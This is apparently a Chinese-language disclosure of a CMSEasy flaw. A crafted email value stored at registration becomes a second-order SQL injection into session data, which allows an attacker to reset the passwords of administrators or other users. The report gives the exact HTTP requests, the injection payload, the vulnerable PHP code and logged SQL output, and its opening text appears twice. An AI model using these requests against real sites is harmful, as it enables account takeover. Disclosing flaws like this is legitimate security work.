### 简要描述: cmseasy 可shell的漏洞 ### 详细说明: 下载最新的cmseasy,发现有一处问题 用户注册处,email没有做任何限制,可以任意填写 我们发送url: POST /cmseasylast/uploads/index.php?case=user&act=register HTTP/1.1 Host: localhost postdata: username=sql1231&password=111111&password2=111111&question=&answer=ccccc&e_mail=',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#&tel=010-10000000&address=1111111111111&verify=xxxxx&submit=+%E6%B3%A8%E5%86%8C+ 此处由于是本地测试client_ip 可控制 e_mail: ',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'# 这里存到了数据库,如图所示: [<img src="https://images.seebug.org/upload/201501/281204438a8d85a724d37fb099635fadb04ec022.png" alt="60.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/281204438a8d85a724d37fb099635fadb04ec022.png) 这里的email字段长度为50 故而我们这样写 然后我们在看看这一处 ``` function getpass_action() { if(front::post('step') == '') { echo template('user/getpass.html'); }else if(front::post('step') == '1') { /* if(!session::get('verify')...
### 简要描述: cmseasy 可shell的漏洞 ### 详细说明: 下载最新的cmseasy,发现有一处问题 用户注册处,email没有做任何限制,可以任意填写 我们发送url: POST /cmseasylast/uploads/index.php?case=user&act=register HTTP/1.1 Host: localhost postdata: username=sql1231&password=111111&password2=111111&question=&answer=ccccc&e_mail=',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#&tel=010-10000000&address=1111111111111&verify=xxxxx&submit=+%E6%B3%A8%E5%86%8C+ 此处由于是本地测试client_ip 可控制 e_mail: ',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'# 这里存到了数据库,如图所示: [<img src="https://images.seebug.org/upload/201501/281204438a8d85a724d37fb099635fadb04ec022.png" alt="60.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/281204438a8d85a724d37fb099635fadb04ec022.png) 这里的email字段长度为50 故而我们这样写 然后我们在看看这一处 ``` function getpass_action() { if(front::post('step') == '') { echo template('user/getpass.html'); }else if(front::post('step') == '1') { /* if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')); return; } */ if(strlen(front::post('username'))<4) { front::flash(lang('用户名太短!')); return; } $user=new user(); $user=$user->getrow(array('username'=>front::post('username'))); $this->view->user = $user; session::set('answer',$user['answer']); session::set('username',$user['username']); session::set('e_mail',$user['e_mail']); ``` 看到了没有 这里从数据库获取出来然后直接 进入写session 操作 ,问题来了 刚才注入的东西已经被还原 造成二次注入 我们访问: http://localhost/cmseasylast/uploads/index.php?case=user&act=getpass postdata: username=sql1231&step=1 然后去数据库查看此时的sessiondata: [<img src="https://images.seebug.org/upload/201501/281209481c8c0cf3ad7bd3eb8f1ed67671fe215a.png" alt="61.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/281209481c8c0cf3ad7bd3eb8f1ed67671fe215a.png) 看到了没有 这时候在从session获取就会被解析出来 抓取到的后台数据库为: 2015/1/28 12:10UPDATE cmseasy_sessionox SET update_time='1422418220',data='openid|s:1:"2";username|s:7:"sql1231";answer|N;e_mail|s:54:"',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#";ischk|s:4:"true";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2' 2015/1/28 12:10UPDATE cmseasy_sessionox SET update_time='1422418221',data='openid|s:1:"2";username|s:4:"test";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2' 解析过程成功执行,那么我们怎么去搞到shell 也就是说进入到后台: getpass_action: ``` }else if (front::post('step') == '3') { if(strlen(front::post('e_mail'))<1) { echo '<script>alert("'.lang('请输入注册填写的邮箱!').'");</script>'; return; } if(front::post('e_mail') != session::get('e_mail')) { echo '<script>alert("'.lang('邮箱和用户不匹配!').'");</script>'; return; } if(session::get('ischk') == 'true') { function randomstr($length) { $str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ'; for($i=0;$i<$length;$i++) { $str1 .= $str{mt_rand(0,35)}; } return $str1; } $password1 = randomstr(6); $password = md5($password1); $user=new user(); $user->rec_update(array('password'=>$password),'username="'.session::get('username').'"'); /*config::setPath(ROOT.'/config/config.php'); function sendmail($email_to,$email_subject,$email_message,$email_from = '') { extract($GLOBALS,EXTR_SKIP); require ROOT.'/lib/tool/sendmail_inc.php'; } $mail[email]=config::get('email');*/ $this->sendmail(session::get('e_mail'),lang('会员找回密码'),' '.lang('尊敬的').session::get('username').', '.lang('您好! 您的新密码是').':'.$password1.' '.lang(您可以登录后到会员中心进行修改).'!'); echo '<script>alert("系统重新生成的密码已经发送到你的邮箱,跳转到登录页!!");window.location="index.php?case=user&act=login"</script>'; ``` 当step==3时候email 在session我们可以控制成我们自己的email 然后填写管理员或者任何人的用户名 填写必要信息,就会把其他人的用户密码更改 这个 过程我就不分析了 代码自然可以看懂 ### 漏洞证明: